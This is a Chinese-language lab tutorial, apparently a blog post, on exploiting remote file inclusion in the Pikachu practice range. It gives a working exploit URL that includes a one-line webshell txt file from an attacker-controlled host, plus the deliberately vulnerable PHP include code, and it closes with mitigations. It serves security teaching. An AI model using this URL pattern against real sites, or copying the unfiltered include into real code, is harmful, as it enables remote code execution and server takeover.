Web渗透:文件包含漏洞

Ⅱ.远程文件包含

远程文件包含漏洞(Remote File Inclusion, RFI)是一种Web应用程序漏洞,允许攻击者通过URL从远程服务器包含并执行文件;RFI漏洞通常出现在动态包含文件的功能中,且用户输入未经适当验证和过滤。接着我们也是根据pikachu靶场中的远程文件包含相关漏洞页面进行漏洞说明:

1.打开页面后发现页面出现提示:环境中的allow_url_include开关并没有开启,这里需要我们手动进行开启。

开启方法:在小皮面板中找到php对应的配置文件,选择当前站点使用的php版本;笔者此处所使用的版本为php5.6.9。

点击对应版本后就会出现php相关配置文件--php.ini;这个时候我们直接去找allow_url_include开关并将其开启即可:

修改后我们重启下当前所使用的中间件即可。至此靶场就可以正常使用了:

php.ini中的allow_url_include参数究竟有什么用呢?

复制代码
allow_url_include 是 PHP 中的一个配置指令,它决定是否允许在 include、include_once、require 和 require_once 语句中使用 URL 进行远程文件包含;默认情况下,该选项是禁用的,以防止远程文件包含(RFI)漏洞。这意味着 PHP 脚本可以通过指定一个远程文件的 URL 来加载并执行该文件的内容。

大概了解完后我们就来阐述一下该漏洞需要我们如何去进行利用:

1.首先远程文件包含漏洞的初始页面与本地文件包含的初始页面是一样的,此时我们随机选择一个球星进行查询,整体页面如下:

可以看到url上已经文件的相对路径显示出来了;此时我们尝试将url中的文件路径改为hosts文件的绝对路径查看效果:可以看到与本地文件包含不同的是,这个时候我们使用绝对路径,文件的内同也可以被正常包含。

那么因为我们已经开启了allow_url_include开关,所以此时是允许我们直接包含远程主机中的文件的;这边我开一个虚拟机(再实际环境中就需要使用自己的公网服务器了);虚拟机的IP为192.168.8.129,并且开启了apache服务,这个时候我在apache服务的根目录创建一个编写有一句话木马的txt文件:

接着我们将包含的文件途径修改文此时访问该txt文件的url,修改后的我们让我的URL为:

复制代码
http://127.0.0.1/pikachu/vul/fileinclude/fi_remote.php?filename=http://192.168.8.129/Remote_shell.txt&submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2

接着使用WebShell连接工具进行连接:连接成功

至此漏洞利用成功。接着我们也是按照惯例查看源码对漏洞进行剖析:

php 复制代码
$html1='';
if(!ini_get('allow_url_include')){
    $html1.="<p style='color: red'>warning:你的allow_url_include没有打开,请在php.ini中打开了再测试该漏洞,记得修改后,重启中间件服务!</p>";
}
$html2='';
if(!ini_get('allow_url_fopen')){
    $html2.="<p style='color: red;'>warning:你的allow_url_fopen没有打开,请在php.ini中打开了再测试该漏洞,重启中间件服务!</p>";
}
$html3='';
if(phpversion()<='5.3.0' && !ini_get('magic_quotes_gpc')){
    $html3.="<p style='color: red;'>warning:你的magic_quotes_gpc打开了,请在php.ini中关闭了再测试该漏洞,重启中间件服务!</p>";
}

这段代码旨在检查PHP配置中的几个关键设置,并在特定条件下显示警告消息:

使用 ini_get('allow_url_include') 检查 allow_url_include 设置。如果返回值为 false,表示该设置未开启。allow_url_include开启其实就是此处远程文件包含漏洞产生的主要原因,上面有说过了,此处就不做过多赘述了。

使用 ini_get('allow_url_fopen') 检查 allow_url_fopen 设置。如果返回值为 false,表示该设置未开启。allow_url_fopen 决定是否允许通过 fopen()file_get_contents() 等函数访问 URL;默认情况下,allow_url_fopen 是启用的,这意味着 PHP 脚本可以通过这些函数从远程服务器读取文件内容。

allow_url_include 依赖于 allow_url_fopen。换句话说,如果你想启用 allow_url_include,首先需要确保 allow_url_fopen 也是启用的。

使用 ini_get('magic_quotes_gpc') 检查 magic_quotes_gpc 设置。如果返回值为 false,表示该设置未开启。magic_quotes_gpc 是 PHP 中的一个配置选项,用于自动对来自 GETPOSTCOOKIE 的输入数据进行转义。具体来说,它会自动在某些特殊字符(如单引号 '、双引号 "、反斜杠 \ 和 NULL 字符)前添加反斜杠。如果magic_quotes_gpc是开启的则攻击无法成功,因为我们指定的带有木马的txt文件的url中带有反斜杠(被转义后的反斜杠就会被当成一个字符看待)。

检查完成后,造成文件包含的关键代码:与本地文件包含的相关代码并无区别,都是接收客户端传来的文件路径(url)并进行包含。

php 复制代码
//远程文件包含漏洞,需要php.ini的配置文件符合相关的配置
$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include "$filename";//变量传进来直接包含,没做任何的安全限制
}
防范文件包含漏洞的方法
1. 输入验证和过滤

对所有用户输入进行严格验证和过滤,确保文件名是合法的,并且不包含任何恶意字符或路径遍历字符(如 ../)。

2. 禁用远程文件包含

php.ini 中禁用 allow_url_includeallow_url_fopen,以防止远程文件包含。

3. 设置正确的文件权限

确保 Web 服务器仅对需要访问的文件和目录具有读取权限,防止攻击者访问不必要的文件。

4.使用最新版本的 PHP

始终使用最新版本的 PHP,因为它包含了最新的安全补丁和功能,可以帮助防范已知的安全漏洞。

相关推荐
太阳的后裔11 小时前
随笔一些用C#封装的控件
开发语言·c#
tianyuanwo11 小时前
Rust语言组件RPM包编译原理与Cargo工具详解
开发语言·网络·rust·rpm
dy171713 小时前
element-plus表格默认展开有子的数据
前端·javascript·vue.js
Tim风声(网络工程师)14 小时前
不同射频对应不同mac地址(查找无线用户连接AP信息)
服务器·网络·tcp/ip·智能路由器·无线ap
CodeCraft Studio15 小时前
PDF处理控件Aspose.PDF教程:使用 Python 将 PDF 转换为 Base64
开发语言·python·pdf·base64·aspose·aspose.pdf
零点零一15 小时前
VS+QT的编程开发工作:关于QT VS tools的使用 qt的官方帮助
开发语言·qt
2501_9159184116 小时前
Web 前端可视化开发工具对比 低代码平台、可视化搭建工具、前端可视化编辑器与在线可视化开发环境的实战分析
前端·低代码·ios·小程序·uni-app·编辑器·iphone
程序员的世界你不懂17 小时前
【Flask】测试平台开发,新增说明书编写和展示功能 第二十三篇
java·前端·数据库
索迪迈科技17 小时前
网络请求库——Axios库深度解析
前端·网络·vue.js·北京百思可瑞教育·百思可瑞教育
gnip17 小时前
JavaScript二叉树相关概念
前端